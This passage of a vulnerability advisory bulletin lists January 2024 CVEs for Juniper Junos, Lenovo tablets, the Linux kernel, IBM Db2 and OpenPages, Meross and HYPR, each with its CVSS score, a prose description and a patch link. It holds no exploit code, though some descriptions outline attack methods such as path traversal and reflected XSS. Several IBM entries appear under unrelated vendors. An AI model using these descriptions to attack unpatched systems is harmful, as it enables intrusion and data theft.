			* 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 23.2					
Generation of Error Message Containing Sensitive Information	25-Jan-2024	7.5	A Missing Authentication for Critical Function vulnerability combined with a Generation of Error Message Containing Sensitive Information vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an unauthenticated, network-based attacker to access sensitive system information.	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2847

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			When a user logs in, a temporary file which contains the configuration of the device (as visible to that user) is created in the /cache folder. An unauthenticated attacker can then attempt to access such a file by sending a specific request to the device trying to guess the name of such a file. Successful exploitation will reveal configuration information. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S9; * 21.2 versions earlier than 21.2R3-S7; * 21.3 versions earlier than 21.3R3-S5; * 21.4 versions earlier than 21.4R3-S6;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3; * 23.2 versions earlier than 23.2R1-S2, 23.2R2. **CVE ID : CVE-2024-21619**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions,	https://support portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2848

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			including an administrator. A specific invocation of the emit_debug_note method in webauth_operation .php will echo back the data it receives. This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2;		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			* 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Affected Version(s): 23.4					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	25-Jan-2024	6.1	An Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in J-Web of Juniper Networks Junos OS on SRX Series and EX Series allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the target's permissions, including an administrator. A specific invocation of the emit_debug_note method in webauth_operation.php will echo back the data it receives.	https://support.portal.juniper.net/JSA76390	O-JUN-JUNO-090224/2849

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This issue affects Juniper Networks Junos OS on SRX Series and EX Series: * All versions earlier than 20.4R3-S10; * 21.2 versions earlier than 21.2R3-S8; * 21.4 versions earlier than 21.4R3-S6; * 22.1 versions earlier than 22.1R3-S5; * 22.2 versions earlier than 22.2R3-S3; * 22.3 versions earlier than 22.3R3-S2; * 22.4 versions earlier than 22.4R3-S1; * 23.2 versions earlier than 23.2R2; * 23.4 versions earlier than 23.4R2. **CVE ID : CVE-2024-21620**		
Vendor: Lantronix					
Product: xport_edge_firmware					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Affected Version(s): 2.0.0.13					
Inadequate Encryption Strength	23-Jan-2024	7.5	Lantronix XPort sends weakly encoded credentials within web request headers. **CVE ID : CVE-2023-7237**	N/A	O-LAN-XPOR-090224/2850
Vendor: Lenovo					
Product: tab_m10_plus_gen_3_tb125fu_firmware					
Affected Version(s): * Up to (excluding) tb125fu_usr_s100116_2311171525_mp1rc_row					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2851
Product: tab_m8_hd_tb8505fs_firmware					
Affected Version(s): * Up to (excluding) 8505fs_usr_s301107_2309140028_v9.56_bmp_row					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2852

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			identifiers and system commands. **CVE ID : CVE-2023-5080**		
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2853
Product: tab_m8_hd_tb8505f_firmware					
Affected Version(s): * Up to (excluding) 8505f_usr_s301106_2309140042_v9.56_bmp_row					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2854
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier.	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2855

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-5081		
Product: tab_m8_hd_tb8505xs_firmware					
Affected Version(s): * Up to (excluding) 8505xs_usr_s301077_2309140036_v9.56_bmp_row					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2856
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2857
Product: tab_m8_hd_tb8505x_firmware					
Affected Version(s): * Up to (excluding) 8505x_usr_s301129_2309141226_v9.56_bmp_row					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2858

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			identifiers and system commands. **CVE ID : CVE-2023-5080**		
N/A	19-Jan-2024	3.3	An information disclosure vulnerability was reported in the Lenovo Tab M8 HD that could allow a local application to gather a non-resettable device identifier. **CVE ID : CVE-2023-5081**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2859
Product: tab_p11_pro_gen_2_tb132fu_firmware					
Affected Version(s): * Up to (excluding) tb132fu_s240219_231123_row					
N/A	19-Jan-2024	7.8	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands. **CVE ID : CVE-2023-5080**	https://support.lenovo.com/us/en/product_security/LEN-142135	O-LEN-TAB_-090224/2860
Vendor: Linux					
Product: linux_kernel					
Affected Version(s): -					
N/A	19-Jan-2024	8.8	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused	https://exchange.xforce.ibmcloud.com/vulnerabilities/264005, https://www.ibm.com/support	O-LIN-LINU-090224/2861

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005. **CVE ID : CVE-2023-40683**	/pages/node/7107774	
Storing Passwords in a Recoverable Format	19-Jan-2024	8.1	IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other	https://exchange.xforce.ibmcloud.com/vulnerabilities/262594, https://www.ibm.com/support/pages/node/7107775	O-LIN-LINU-090224/2862

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			OpenPages accounts. IBM X-Force ID: 262594. **CVE ID : CVE-2023-38738**		
NULL Pointer Dereference	28-Jan-2024	7.8	A null pointer dereference flaw was found in the hugetlbfs_fill_super function in the Linux kernel hugetlbfs (HugeTLB pages) functionality. This issue may allow a local user to crash the system or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0841**	N/A	O-LIN-LINU-090224/2863
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is used. IBM X-Force ID: 268759. **CVE ID : CVE-2023-45193**	https://exchange.xforce.ibmcloud.com/vulnerabilities/268759, https://www.ibm.com/support/pages/node/7105501	O-LIN-LINU-090224/2864
N/A	22-Jan-2024	7.5	IBM Db2 for Linux, UNIX and Windows (includes Db2	https://exchange.xforce.ibmcloud.com/vulnerab	O-LIN-LINU-090224/2865

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions. IBM X-Force ID: 270730. **CVE ID : CVE-2023-47152**	ilities/270730, https://www.ibm.com/support/pages/node/7105605	
Out-of-bounds Read	23-Jan-2024	7.5	An out-of-bounds read vulnerability was found in Netfilter Connection Tracking (conntrack) in the Linux kernel. This flaw allows a remote user to disclose sensitive information via the DCCP protocol. **CVE ID : CVE-2023-39197**	N/A	O-LIN-LINU-090224/2866
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, and 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272644.	https://exchange.xforce.ibmcloud.com/vulnerabilities/272644, https://www.ibm.com/support/pages/node/7105505	O-LIN-LINU-090224/2867

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-47746		
N/A	22-Jan-2024	6.5	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5 under certain circumstances could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables. IBM X-Force ID: 273393. **CVE ID : CVE-2023-50308**	https://exchange.xforce.ibmcloud.com/vulnerabilities/273393, https://www.ibm.com/support/pages/node/7105506	O-LIN-LINU-090224/2868
N/A	22-Jan-2024	6.5	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205. **CVE ID : CVE-2023-27859**	https://exchange.xforce.ibmcloud.com/vulnerabilities/249205, https://www.ibm.com/support/pages/node/7105503	O-LIN-LINU-090224/2869
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2	https://exchange.xforce.ibmcloud.com/vulnerab	O-LIN-LINU-090224/2870

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270750. **CVE ID : CVE-2023-47158**	ilities/270750, https://www.ibm.com/support/pages/node/7105496	
N/A	22-Jan-2024	6.5	IBM DB2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.1, 10.5, and 11.1 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 272646. **CVE ID : CVE-2023-47747**	https://exchange.xforce.ibmcloud.com/vulnerabilities/272646, https://www.ibm.com/support/pages/node/7105502	O-LIN-LINU-090224/2871
N/A	22-Jan-2024	6.5	IIBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 could allow an authenticated user with CONNECT privileges to cause a denial of service using a specially crafted query. IBM X-Force ID: 270264.	https://exchange.xforce.ibmcloud.com/vulnerabilities/270264, https://www.ibm.com/support/pages/node/7105497	O-LIN-LINU-090224/2872

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-47141		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	19-Jan-2024	5.3	IBM Sterling Control Center 6.3.0 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot" sequences (/../) to view arbitrary files on the system. IBM X-Force ID: 257874. **CVE ID : CVE-2023-35020**	https://exchange.xforce.ibmcloud.com/vulnerabilities/257874, https://www.ibm.com/support/pages/node/7107788	O-LIN-LINU-090224/2873
Affected Version(s): * Up to (excluding) 6.4					
Use After Free	22-Jan-2024	7.1	A use-after-free flaw was found in the __ext4_remount in fs/ext4/super.c in ext4 in the Linux kernel. This flaw allows a local user to cause an information leak problem while freeing the old quota file names before a potential failure, leading to a use-after-free. **CVE ID : CVE-2024-0775**	https://scm.linefinity.com/common/linux-stable/commit/4c0b4818b1f636bc96359f7817a2d8bab6370162	O-LIN-LINU-090224/2874
Affected Version(s): * Up to (excluding) 6.4.12					
Use After Free	23-Jan-2024	7.8	In the Linux kernel before 6.4.12, amdgpu_cs_wait_all	https://github.com/torvalds/linux/commit/2e5	O-LIN-LINU-090224/2875

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			_fences in drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c has a fence use-after-free. **CVE ID : CVE-2023-51042**	4154b9f27262efd0cb4f903cc7d5ad1fe9628	
Affected Version(s): * Up to (excluding) 6.4.5					
Use After Free	23-Jan-2024	7	In the Linux kernel before 6.4.5, drivers/gpu/drm/drm_atomic.c has a use-after-free during a race condition between a nonblocking atomic commit and a driver unload. **CVE ID : CVE-2023-51043**	https://github.com/torvalds/linux/commit/4e076c73e4f6e90816b30fcd4a0d7ab365087255	O-LIN-LINU-090224/2876
Affected Version(s): * Up to (excluding) 6.5.9					
NULL Pointer Dereference	23-Jan-2024	5.5	In the Linux kernel before 6.5.9, there is a NULL pointer dereference in send_acknowledge in net/nfc/nci/spi.c. **CVE ID : CVE-2023-46343**	https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.5.9, https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=7937609cd387246aed994e81aa4fa951358fba41	O-LIN-LINU-090224/2877
Affected Version(s): * Up to (excluding) 6.6					
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability was found in tipc_crypto_key_revoke in	https://bugzilla.redhat.com/show_bug.cgi?id=2258757, https://github.c	O-LIN-LINU-090224/2878

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			net/tipc/crypto.c in the Linux kernel's TIPC subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system. **CVE ID : CVE-2024-0641**	om/torvalds/linux/commit/08e50cf071847323414df0835109b6f3560d44f5	
Affected Version(s): * Up to (excluding) 6.6.10					
Out-of-bounds Read	23-Jan-2024	7.8	An issue was discovered in ksmbd in the Linux kernel before 6.6.10. smb2_get_data_area_len in fs/smb/server/smb2misc.c can cause an smb_strndup_from_utf16 out-of-bounds access because the relationship between Name data and CreateContexts data is mishandled. **CVE ID : CVE-2024-22705**	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d10c77873ba1e9e6b91905018e29e196fd5f863d	O-LIN-LINU-090224/2879
Affected Version(s): * Up to (excluding) 6.7					
Out-of-bounds Write	17-Jan-2024	7.8	An out-of-bounds memory write flaw was found in the Linux kernel's Transport Layer Security functionality in	https://bugzilla.redhat.com/show_bug.cgi?id=2253908, https://git.kernel.org/pub/scm/linux/kernel/g	O-LIN-LINU-090224/2880

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0646**	it/torvalds/linux.git/commit/?id=c5a595000e267	
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	28-Jan-2024	7.5	A race condition was found in the Linux Kernel. Under certain conditions, an unauthenticated attacker from an adjacent network could send an ICMPv6 router advertisement packet, causing arbitrary code execution. **CVE ID : CVE-2023-6200**	https://bugzilla.redhat.com/show_bug.cgi?id=2250377, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=dade3f6a1e4e	O-LIN-LINU-090224/2881
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	21-Jan-2024	7	A use-after-free flaw was found in the Linux Kernel due to a race problem in the unix garbage collector's deletion of SKB races with unix_stream_read_generic() on the socket that the SKB is queued on. **CVE ID : CVE-2023-6531**	https://lore.kernel.org/all/c716c88321939156909cfa1bd8b0faaf1c804103.1701868795.git.asml.silence@gmail.com/	O-LIN-LINU-090224/2882

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	18-Jan-2024	6.6	A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality. **CVE ID : CVE-2024-0607**	https://bugzilla.redhat.com/show_bug.cgi?id=2258635, https://github.com/torvalds/linux/commit/c301f0981fdd3fd1ffac6836b423c4d7a8e0eb63	O-LIN-LINU-090224/2883
Use After Free	16-Jan-2024	5.5	A use-after-free issue was found in igmp_start_timer in net/ipv4/igmp.c in the network sub-component in the Linux Kernel. This flaw allows a local user to observe a refcnt use-after-free issue when receiving an igmp	https://lore.kernel.org/netdev/170083982540.9628.4546899811301303734.git-patchwork-notify@kernel.org/T/	O-LIN-LINU-090224/2884

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			query packet, leading to a kernel information leak. **CVE ID : CVE-2024-0584**		
Affected Version(s): * Up to (including) 6.4.16					
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability due to a deadlock was found in sctp_auto_asconf_init in net/sctp/socket.c in the Linux kernel's SCTP subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system. **CVE ID : CVE-2024-0639**	https://bugzilla.redhat.com/show_bug.cgi?id=2258754, https://github.com/torvalds/linux/commit/6feb37b3b06e9049e20dcf7e23998f92c9c5be9a	O-LIN-LINU-090224/2885
Affected Version(s): * Up to (including) 6.7.1					
Use After Free	23-Jan-2024	5.5	In the Linux kernel through 6.7.1, there is a use-after-free in cec_queue_msg_fh, related to drivers/media/cec/core/cec-adap.c and drivers/media/cec/core/cec-api.c. **CVE ID : CVE-2024-23848**	https://lore.kernel.org/lkml/e9f42704-2f99-4f2c-ade5-f952e5fd53e5%40xs4all.nl/	O-LIN-LINU-090224/2886
Off-by-one Error	23-Jan-2024	5.5	In rds_recv_track_latency in	https://lore.kernel.org/netdev/1705715319-	O-LIN-LINU-090224/2887

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			net/rds/af_rds.c in the Linux kernel through 6.7.1, there is an off-by-one error for an RDS_MSG_RX_DGRAM_TRACE_MAX comparison, resulting in out-of-bounds access. **CVE ID : CVE-2024-23849**	19199-1-git-send-email-sharath.srinivasan%40oracle.com/, https://lore.kernel.org/netdev/CALGdzuoVdq-wtQ4Az9iottBqC5cv9ZhcE5q8N7LfYFvkRsOVcw%40mail.gmail.com	
N/A	23-Jan-2024	5.5	In btrfs_get_root_ref in fs/btrfs/disk-io.c in the Linux kernel through 6.7.1, there can be an assertion failure and crash because a subvolume can be read out too soon after its root item is inserted upon subvolume creation. **CVE ID : CVE-2024-23850**	https://lore.kernel.org/all/6a80cb4b32af89787dadee728310e5e2ca85343f.1705741883.git.wqu%40suse.com/, https://lore.kernel.org/lkml/CALGdzuo6awWdau3X=8XK547x2vX_-VoFmH1aPsqosRTQ5WzJVA%40mail.gmail.com/	O-LIN-LINU-090224/2888
N/A	23-Jan-2024	5.5	copy_params in drivers/md/dm-ioctl.c in the Linux kernel through 6.7.1 can attempt to allocate more than INT_MAX bytes, and crash, because of a missing param_kernel->data_size check.	N/A	O-LIN-LINU-090224/2889

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			This is related to ctl_ioctl. **CVE ID : CVE-2024-23851**		
Affected Version(s): 2.6.12					
NULL Pointer Dereference	25-Jan-2024	5.5	NULL Pointer Dereference vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (net, bluetooth modules) allows Overflow Buffers. This vulnerability is associated with program files /net/bluetooth/rfcomm/core.C. This issue affects Linux kernel: v2.6.12-rc2. **CVE ID : CVE-2024-22099**	N/A	O-LIN-LINU-090224/2890
Affected Version(s): 6.4					
Use After Free	22-Jan-2024	7.1	A use-after-free flaw was found in the __ext4_remount in fs/ext4/super.c in ext4 in the Linux kernel. This flaw allows a local user to cause an information leak problem while freeing the old quota file names before a potential	https://scm.linefinity.com/common/linux-stable/commit/4c0b4818b1f636bc96359f7817a2d8bab6370162	O-LIN-LINU-090224/2891

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			failure, leading to a use-after-free. **CVE ID : CVE-2024-0775**		
Affected Version(s): 6.6					
Improper Locking	17-Jan-2024	5.5	A denial of service vulnerability was found in tipc_crypto_key_revoke in net/tipc/crypto.c in the Linux kernel's TIPC subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system. **CVE ID : CVE-2024-0641**	https://bugzilla.redhat.com/show_bug.cgi?id=2258757, https://github.com/torvalds/linux/commit/08e50cf071847323414df0835109b6f3560d44f5	O-LIN-LINU-090224/2892
Affected Version(s): 6.7					
Use After Free	16-Jan-2024	7.8	A memory leak flaw was found in the Linux kernel's io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system.	https://bugzilla.redhat.com/show_bug.cgi?id=2254050, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c392cbecd8eca4c53f2bf508731257d9d0a21c2d	O-LIN-LINU-090224/2893

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0582		
Out-of-bounds Write	17-Jan-2024	7.8	An out-of-bounds memory write flaw was found in the Linux kernel's Transport Layer Security functionality in how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0646**	https://bugzilla.redhat.com/show_bug.cgi?id=2253908, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c5a595000e267	O-LIN-LINU-090224/2894
Out-of-bounds Read	23-Jan-2024	7.8	An issue was discovered in ksmbd in the Linux kernel before 6.6.10. smb2_get_data_area_len in fs/smb/server/smb2misc.c can cause an smb_strndup_from_utf16 out-of-bounds access because the relationship between Name data and CreateContexts data is mishandled. **CVE ID : CVE-2024-22705**	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d10c77873ba1e9e6b91905018e29e196fd5f863d	O-LIN-LINU-090224/2895

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	28-Jan-2024	7.5	A race condition was found in the Linux Kernel. Under certain conditions, an unauthenticated attacker from an adjacent network could send an ICMPv6 router advertisement packet, causing arbitrary code execution. **CVE ID : CVE-2023-6200**	https://bugzilla.redhat.com/show_bug.cgi?id=2250377, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=dade3f6a1e4e	O-LIN-LINU-090224/2896
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	21-Jan-2024	7	A use-after-free flaw was found in the Linux Kernel due to a race problem in the unix garbage collector's deletion of SKB races with unix_stream_read_generic() on the socket that the SKB is queued on. **CVE ID : CVE-2023-6531**	https://lore.kernel.org/all/c716c88321939156909cfa1bd8b0faaf1c804103.1701868795.git.asml.silence@gmail.com/	O-LIN-LINU-090224/2897
N/A	18-Jan-2024	6.6	A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but	https://bugzilla.redhat.com/show_bug.cgi?id=2258635, https://github.com/torvalds/linux/commit/c301f0981fdd3fd1ffac6836b423c4d7a8e0eb63	O-LIN-LINU-090224/2898

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			`dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality. **CVE ID : CVE-2024-0607**		
Use After Free	16-Jan-2024	5.5	A use-after-free issue was found in igmp_start_timer in net/ipv4/igmp.c in the network sub-component in the Linux Kernel. This flaw allows a local user to observe a refcnt use-after-free issue when receiving an igmp query packet, leading to a kernel information leak. **CVE ID : CVE-2024-0584**	https://lore.kernel.org/netdev/170083982540.9628.4546899811301303734.git-patchwork-notify@kernel.org/T/	O-LIN-LINU-090224/2899
Affected Version(s): From (including) 4.1 Up to (including) 6.7.2					
Integer Overflow or Wraparound	25-Jan-2024	7.8	Integer Overflow or Wraparound vulnerability in Linux Linux kernel kernel on Linux, x86, ARM (md,	N/A	O-LIN-LINU-090224/2900

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			raid, raid5 modules) allows Forced Integer Overflow. **CVE ID : CVE-2024-23307**		
Affected Version(s): From (including) 6.4 Up to (excluding) 6.6.5					
Use After Free	16-Jan-2024	7.8	A memory leak flaw was found in the Linux kernel's io_uring functionality in how a user registers a buffer ring with IORING_REGISTER_PBUF_RING, mmap() it, and then frees it. This flaw allows a local user to crash or potentially escalate their privileges on the system. **CVE ID : CVE-2024-0582**	https://bugzilla.redhat.com/show_bug.cgi?id=2254050, https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c392cbecd8eca4c53f2bf508731257d9d0a21c2d	O-LIN-LINU-090224/2901
Vendor: meross					
Product: msh30q_firmware					
Affected Version(s): 4.5.23					
Authentication Bypass by Capture-replay	23-Jan-2024	8.8	The radio frequency communication protocol being used by Meross MSH30Q 4.5.23 is vulnerable to replay attacks, allowing attackers to record and replay previously captured	N/A	O-MER-MSH3-090224/2902

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			communication to execute unauthorized commands or actions (e.g., thermostat's temperature). **CVE ID : CVE-2023-46892**		
Cleartext Transmission of Sensitive Information	23-Jan-2024	5.7	Meross MSH30Q 4.5.23 is vulnerable to Cleartext Transmission of Sensitive Information. During the device setup phase, the MSH30Q creates an unprotected Wi-Fi access point. In this phase, MSH30Q needs to connect to the Internet through a Wi-Fi router. This is why MSH30Q asks for the Wi-Fi network name (SSID) and the Wi-Fi network password. When the user enters the password, the transmission of the Wi-Fi password and name between the MSH30Q and mobile application is observed in the Wi-Fi network. Although the Wi-Fi password is encrypted, a part of the decryption	N/A	O-MER-MSH3-090224/2903

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			algorithm is public so we complemented the missing parts to decrypt it. **CVE ID : CVE-2023-46889**		
Vendor: Microsoft					
Product: windows					
Affected Version(s): -					
N/A	19-Jan-2024	8.8	IBM OpenPages with Watson 8.3 and 9.0 could allow remote attacker to bypass security restrictions, caused by insufficient authorization checks. By authenticating as an OpenPages user and using non-public APIs, an attacker could exploit this vulnerability to bypass security and gain unauthorized administrative access to the application. IBM X-Force ID: 264005. **CVE ID : CVE-2023-40683**	https://exchange.xforce.ibmcloud.com/vulnerabilities/264005, https://www.ibm.com/support/pages/node/7107774	O-MIC-WIND-090224/2904
Storing Passwords in a Recoverable Format	19-Jan-2024	8.1	IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected	https://exchange.xforce.ibmcloud.com/vulnerabilities/262594, https://www.ibm.com/support	O-MIC-WIND-090224/2905

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other OpenPages accounts. IBM X-Force ID: 262594. **CVE ID : CVE-2023-38738**	/pages/node/7107775	
Improper Restriction of Operations within the Bounds of a Memory Buffer	16-Jan-2024	7.8	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in HYPR Workforce Access on Windows allows Overflow Buffers.This issue affects Workforce Access: before 8.7.	https://www.hypr.com/security-advisories	O-MIC-WIND-090224/2906

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-6334		
Improper Link Resolution Before File Access ('Link Following')	16-Jan-2024	7.8	Improper Link Resolution Before File Access ('Link Following') vulnerability in HYPR Workforce Access on Windows allows User-Controlled Filename.This issue affects Workforce Access: before 8.7. **CVE ID : CVE-2023-6335**	https://www.hypr.com/security-advisories	O-MIC-WIND-090224/2907
